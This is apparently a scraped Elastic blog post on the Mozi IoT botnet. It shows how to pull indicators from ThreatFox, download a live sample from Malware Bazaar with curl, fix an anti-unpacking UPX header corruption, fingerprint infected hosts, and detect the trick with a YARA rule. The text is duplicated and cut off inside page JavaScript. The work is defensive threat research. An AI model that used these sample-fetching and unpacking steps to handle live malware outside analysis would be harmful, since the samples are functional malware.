\"ioc_type\": \"ip:port\",\n \"ioc_type_desc\": \"ip:port combination that is used for botnet Command\u0026control (C\u0026C)\",\n \"malware\": \"elf.mozi\",\n \"malware_printable\": \"Mozi\",\n \"malware_alias\": null,\n \"malware_malpedia\": \"https:\\/\\/malpedia.caad.fkie.fraunhofer.de\\/details\\/elf.mozi\",\n \"confidence_level\": 75,\n \"first_seen\": \"2021-06-15 08:22:52 UTC\",\n \"last_seen\": null,\n \"reference\": \"https:\\/\\/bazaar.abuse.ch\\/sample\\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\\/\",\n \"reporter\": \"abuse_ch\",\n \"tags\": [\n \"Mozi\"\n ]\n }\n ]\n```\n\n_Code block 2 - Response from ThreatFox API_\n\nNow that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).\n\nJust like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.\n\n```\ncurl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file\u0026sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw\n```\n\n_Code block 3 - cURL request to Malware Bazaar API_\n\n- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API\n- `https://mb-api.abuse.ch/api/v1` - this is the Malware Bazaar API endpoint\n- -d - this is denoting that we’re going to be sending data\n- query: get_file - the type of query that we’re making, get_file in our example\n- sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example\n- -o - the file name we’re going to save the binary as\n\nThis will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.\n\n### Unpacking\n\nNow that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running [Sysinternals Strings](https://docs.microsoft.com/en-us/sysinternals/downloads/strings) over our sample:\n\n```\n$ strings truncated-87d3b.elf\nELF\n*UPX!\nELF\n$Bw\n(GT\n...\n```\n\n_Code block 3 - Strings output from the packed Mozi sample_\n\nRight away we see that we have a [UPX](https://upx.github.io/) packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.\n\n```\n$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96w Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\nupx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted\n```\n\n_Code block 4 - UPX output from corrupted Mozi sample_\n\nAnother road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a [CUJOAI Anti-Unpacking blog](https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/) explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.\n\nUsing this information, we cracked open our binary in [xxd](https://linux.die.net/man/1/xxd), a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).\n\n```\n$ xxd truncated-87d3b.elf\n00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n...\n```\n\n_Code block 5 - HEX view of the corrupted Mozi sample_\n\nThe CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).\n\n```\n$ xxd truncated-87d3b.elf\n...\n0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805 .......]9.G'..(.\n0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e .......'R..`..'\u003e\n0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000 ..X1`...........\n0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308 UPX!....UPX!....\n0001e100: 5199 6237 591c 321c d001 0000 b800 0000 Q.b7Y.2.........\n0001e110: 7c2a 0400 5000 0011 8000 0000 |*..P.......\n```\n\n_Code block 6 - p_info HEX data from the corrupted Mozi sample_\n\nFirst, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.\n\n```\n$ vim truncated-87d3b.elf\n^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@\u003c80\u003e^@^@^@\u003c80\u003e^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@\u003c80\u003e^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@\u003c80\u003e^@^@^Pñ\u003c8f\u003eRUPX!^\\\n```\n\n_Code block 7 - Corrupted Mozi sample in Vim_\n\nUsing the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.\n\n```\n00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n```\n\n_Code block 8 - Corrupted Mozi sample in Vim with XXD plugin_\n\nNext, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).\n\n```\n00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000 ....|*..|*......\n```\n\n_Code block 9 - Updated p_filesize and p_blocksize HEX values_\n\nLet’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).\n\nFinally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.\n\n```\n$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96 Markus Oberhumer, Laszlo Molnar \u0026 John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\n 273020 \u003c- 123165 45.11% linux/arm truncated-87d3b.elf\nUnpacked 1 file.\n```\n\n_Code block 10 - Successfully unpacked Mozi sample_\n\nWe now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.\n\n```\n$ file truncated-87d3b.elf\ntruncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n```\n\n_Code block 11 - File type identification of the Mozi sample_\n\nNow, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).\n\n```\n$ strings truncated-87d3b.elf\n...\niptables -I OUTPUT -p udp --source-port %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT\niptables -I INPUT -p udp --dport %d -j ACCEPT\niptables -I OUTPUT -p udp --sport %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT\n0.0.0.0\n[idp]\nThis node doesn't accept announces\nv2s\ndht.transmissionbt.com:6881\nrouter.bittorrent.com:6881\nrouter.utorrent.com:6881\nbttracker.debian.org:6881\nnnn.nnn.nnn.nnn:6881\nabc.abc.abc.abc:6881\nxxx.xxx.xxx.xxx:6881\nyyy.yyy.yyy.yyy:6881\nNfZ\nOo~Mn\ng5=\nN]%\nRange: bytes=\nUser-Agent:\n...\n```\n\n_Code block 12 - Strings output from the unpacked Mozi sample_\n\nRunning Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.\n\nNext, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.\n\n## Storing threat data in the Elastic Stack\n\nLooking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.\n\nFor the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.\n\n## Create the Ingest Node Pipeline\n\nWe're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.\n\n| | |\n| ---------------------------- | --------------------------------------------------------------- |\n| ThreatFox field | ECS-style field |\n| id | event.id |\n| ioc | threat.indicator.ip and threat.indicator.port |\n| threat_type | threat.software.type |\n| threat_type_desc | threat.indicator.description |\n| ioc_type | threat.indicator.type. Set threat.indicator.type to \"ipv4-addr\" |\n| malware | threat.software.name |\n| malware_printable | threat.threatfox.malware_printable |\n| malware_alias | threat.software.alias (if non-null) |\n| malware_malpedia | threat.software.reference |\n| confidence_level | threat.indicator.confidence |\n| first_seen | threat.indicator.first_seen |\n| last_seen | threat.indicator.last_seen |\n| reference | event.reference |\n| reporter | event.provider |\n| tags | tags |\n| `\u003cenrichment\u003e` | threat.indicator.geo. Enriched by our geoip processor. |\n| `\u003cparsed-sha256\u003e` | file.hash.sha256 and related.hash |\n| `\u003ccopy threat.indicator.ip\u003e` | related.ip |\n\n_Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data_\n\nTo create the pipeline, go to **Kibana Stack Management** -\u003e **Ingest Node Pipelines** , then click **Create pipeline**.\n\n\n\nNext, we’ll give our pipeline a name, optionally a version, and a description.\n\nFrom this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the [ThreatFox pipeline definition here](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json) you can paste in.\n\nClick **Import processors** and paste the contents of this pipeline definition: [pipeline.json](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json).\n\nWhen you click **Load and overwrite** , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click **Create pipeline**.\n\n\n\nAlternatively, if you’d like to use a turnkey approach, the [collection.sh](https://github.com/elastic/examples/blob/master/blog/mozin-about/collection.sh) script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.\n\n```\n$ git clone https://github.com/elastic/examples\n$ cd examples/blog/mozin-about\n$ sh collection.sh\n```\n\n_Code block 13 - Using the Mozi sample collection script_\n\nUsing the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.\n\n\u003cVideo vidyard_uuid=\"hUokXLAUFJ7Tvp6mDQR6qH\" /\u003e\n\n_Figure 3 - ThreatFox data in Kibana_\n\n## Analysis\n\nNow that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.\n\nAs a few quick examples, we can identify some ports that are used and countries that are included in the dataset.\n\nLet’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on **Visualization Library** → **Create visualization** → **Lens**. We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.\n\n\n\nOf note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.\n\nNext, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.\n\n\n\nSimilar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.\n\nThis is useful information we can make the following analytical assertions based on our sampling:\n\n- Mozi botnet is currently active and maintaining steady infection rates\n- Port 6000 is a dominant port used for command \u0026 control\n- At least 24 countries impacted suggests global threat with no specific targeting\n- Clusters of specific ASNs in Bulgaria and India stand out with highest volumes\n\nAs the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.\n\n## Exploring the propagation mechanism\n\nIn the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.\n\nOne thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.\n\n```\ncurl -I nnn.nnn.nnn.nnn:53822\nHTTP/1.1 200 OK\nServer: nginx\nContent-Length: 132876\nConnection: close\nContent-Type: application/zip\n```\n\n_Code block 14 - HTTP response from a compromised device_\n\nBased on the observed response back, we can pull back some interesting information such as:\n\n- The use of an NGINX web server\n- No HTTP Date Header provided\n- The size of the file returned is close to 133 kilobytes\n\nWith this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like [Shodan](https://www.shodan.io/), we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:\n\n```\nHTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip\n```\n\n_Code block 15 - HTTP header for Mozi propagation_\n\nWe can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:\n\n\n\nOther search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.\n\n## Mitigation\n\nThe Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:\n\n- Changing the device default remote access passphrases\n- Updating devices to the latest firmware and software version supported by the vendor\n- Segmenting IoT devices from the rest of your internal network\n- Not making IoT devices accessible from the public Internet\n\n## Detection logic\n\nUsing [YARA](https://virustotal.github.io/yara/), we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT\u0026CK® describes additional subtechniques for the [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/) technique from the [Defense Evasion](https://attack.mitre.org/tactics/TA0005) tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the “UPX!” magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by [Lars Wallenborn](https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi/) (expanded for readability).\n\n```\nrule Mozi_Obfuscation_Technique\n{\n meta:\n author = \"Elastic Security, Lars Wallenborn (@larsborn)\"\n description = \"Detects obfuscation technique used by Mozi botnet.\"\n strings:\n $a = { 55 50 58 21\n [4]\n 00 00 00 00\n 00 00 00 00\n 00 00 00 00 }\n condition:\n all of them\n}\n```\n\n_Code block 16 - YARA signature detecting Mozi obfuscation_\n\n- 55 50 58 21 - identifies the UPX magic bytes\n- [4] - offset by 4 bytes, the l_lsize, l_version \u0026 l_format\n- 00 00 00 00 - identifies the program header ID\n- 00 00 00 00 - identifies the zero’d out p_filesize\n- 00 00 00 00 - identifies the zero’d out p_blocksize\n- condition - requires that all of the above strings exist for a positive YARA signature match\n\nThe above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.\n\n## Summary\n\nThe Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.\n\nWe covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.\n\n## Additional resources\n\n- Blog artifacts and scripts, Elastic: [https://github.com/elastic/examples/tree/master/blog/mozin-about](https://github.com/elastic/examples/tree/master/blog/mozin-about)\n- ThreatFox Indicator of Compromise Database, Abuse.ch: [https://threatfox.abuse.ch/browse](https://threatfox.abuse.ch/browse)\n- UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: [https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware](https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware)\n- Corrupted UPX Packed ELF Repair, vcodispot.com: [https://vcodispot.com/corrupted-upx-packed-elf-repair](https://vcodispot.com/corrupted-upx-packed-elf-repair)\n- UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: [https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi](https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi)\n- Mozi, Another Botnet Using DHT, 360 Netlab: [https://blog.netlab.360.com/mozi-another-botnet-using-dht](https://blog.netlab.360.com/mozi-another-botnet-using-dht)\n- Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: [https://threatpost.com/mozi-botnet-majority-iot-traffic/159337](https://threatpost.com/mozi-botnet-majority-iot-traffic/159337)\n- New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: [https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers](https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers)\n- Kibana Maps, Elastic: [https://www.elastic.co/guide/en/kibana/current/maps.html](https://www.elastic.co/guide/en/kibana/current/maps.html)\n- Kibana Lens, Elastic: [https://www.elastic.co/guide/en/kibana/current/lens.html](https://www.elastic.co/guide/en/kibana/current/lens.html)\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var b=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),g=(n,e)=\u003e{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of u(e))!m.call(n,a)\u0026\u0026a!==i\u0026\u0026o(n,a,{get:()=\u003ee[a],enumerable:!(r=p(e,a))||r.enumerable});return n};var w=(n,e,i)=\u003e(i=n!=null?h(f(n)):{},l(e||!n||!n.__esModule?o(i,\"default\",{value:n,enumerable:!0}):i,n)),y=n=\u003el(o({},\"__esModule\",{value:!0}),n);var c=b((M,s)=\u003e{s.exports=_jsx_runtime});var x={};g(x,{default:()=\u003ek,frontmatter:()=\u003ev});var t=w(c()),v={title:\"Collecting and operationalizing threat data from the Mozi botnet\",slug:\"collecting-and-operationalizing-threat-data-from-the-mozi-botnet\",date:\"2022-06-02\",description:\"The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet.\",author:[{slug:\"andrew-pease\"},{slug:\"seth-goodwin\"},{slug:\"derek-ditch\"},{slug:\"daniel-stepanic\"}],image:\"blog-thumb-mozi-botnet.jpg\",category:[{slug:\"security-research\"}]};function d(n){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",pre:\"pre\",code:\"code\",em:\"em\",ul:\"ul\",li:\"li\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",strong:\"strong\",img:\"img\"},n.components),{Video:i}=e;return i||z(\"Video\",!0),(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.p,{children:\"Detecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was \",(0,t.jsx)(e.a,{href:\"https://blog.netlab.360.com/mozi-another-botnet-using-dht/\",rel:\"nofollow\",children:\"first reported\"}),\" by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"collection\",children:\"Collection\"}),`\n`,(0,t.jsx)(e.p,{children:\"When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To begin, we started with a handful of \",(0,t.jsx)(e.a,{href:\"https://threatfox.abuse.ch/browse.php?search=tag%3Amozi\",rel:\"nofollow\",children:\"Mozi samples\"}),\" collected from \",(0,t.jsx)(e.a,{href:\"https://threatfox.abuse.ch/\",rel:\"nofollow\",children:\"ThreatFox\"}),\". ThreatFox is an open source platform from \",(0,t.jsx)(e.a,{href:\"https://abuse.ch\",rel:\"nofollow\",children:\"Abuse.ch\"}),\" with the goal of sharing malware indicators with the security research community.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ \"query\": \"taginfo\", \"tag\": \"Mozi\", \"limit\": 1 }'\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 1 - cURL request to ThreatFox API\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"-X POST - change the cURL HTTP method from GET (default) to POST as we\\u2019re going to be sending data to the ThreatFox API\"}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"https://threatfox-api.abuse.ch/api/v1/\"}),\" - this is the ThreatFox API endpoint\"]}),`\n`,(0,t.jsx)(e.li,{children:\"-d - this is denoting that we\\u2019re going to be sending data\"}),`\n`,(0,t.jsx)(e.li,{children:\"query: taginfo - the type of query that we\\u2019re making, taginfo in our example\"}),`\n`,(0,t.jsx)(e.li,{children:\"tag: Mozi - the tag that we\\u2019ll be searching for, \\u201CMozi\\u201D in our example\"}),`\n`,(0,t.jsx)(e.li,{children:\"limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This returned the following information:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`{\n \"query_status\": \"ok\",\n \"data\": [\n {\n \"id\": \"115772\",\n \"ioc\": \"nnn.nnn.nnn.nnn:53822\",\n \"threat_type\": \"botnet_cc\",\n \"threat_type_desc\": \"Indicator that identifies a botnet command\u0026control server (C\u0026C)\",\n \"ioc_type\": \"ip:port\",\n \"ioc_type_desc\": \"ip:port combination that is used for botnet Command\u0026control (C\u0026C)\",\n \"malware\": \"elf.mozi\",\n \"malware_printable\": \"Mozi\",\n \"malware_alias\": null,\n \"malware_malpedia\": \"https:\\\\/\\\\/malpedia.caad.fkie.fraunhofer.de\\\\/details\\\\/elf.mozi\",\n \"confidence_level\": 75,\n \"first_seen\": \"2021-06-15 08:22:52 UTC\",\n \"last_seen\": null,\n \"reference\": \"https:\\\\/\\\\/bazaar.abuse.ch\\\\/sample\\\\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\\\\/\",\n \"reporter\": \"abuse_ch\",\n \"tags\": [\n \"Mozi\"\n ]\n }\n ]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 2 - Response from ThreatFox API\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).\"}),`\n`,(0,t.jsx)(e.p,{children:\"Just like with ThreatFox, we\\u2019ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (\\u201CMozi\\u201D, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we\\u2019ll use later on for data enrichment.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file\u0026sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Code block 3 - cURL request to Malware Bazaar API\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"-X POST - change the cURL HTTP method from GET (default) to POST as we\\u2019re going to be sending data to the Malware Bazaar API\"}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"https://mb-api.abuse.ch/api/v1\"}),\" - this is the Malware Bazaar API endpoint\"]}),`\n`,(0,t.jsx)(e.li,{children:\"-d - this is denoting that we\\u2019re going to be sending data\"}),`\n`,(0,t.jsx)(e.li,{children:\"query: get_file - the type of query that we\\u2019re making, get_file in our example\"}),`\n`,(0,t.jsx)(e.li,{children:\"sha256_hash - the SHA256 hash we\\u2019re going to be collecting, \\u201C832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\\u201D in our example\"}),`\n`,(0,t.jsx)(e.li,{children:\"-o - the file name we\\u2019re going to save the binary as\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we\\u2019ll not modify so that we always have an 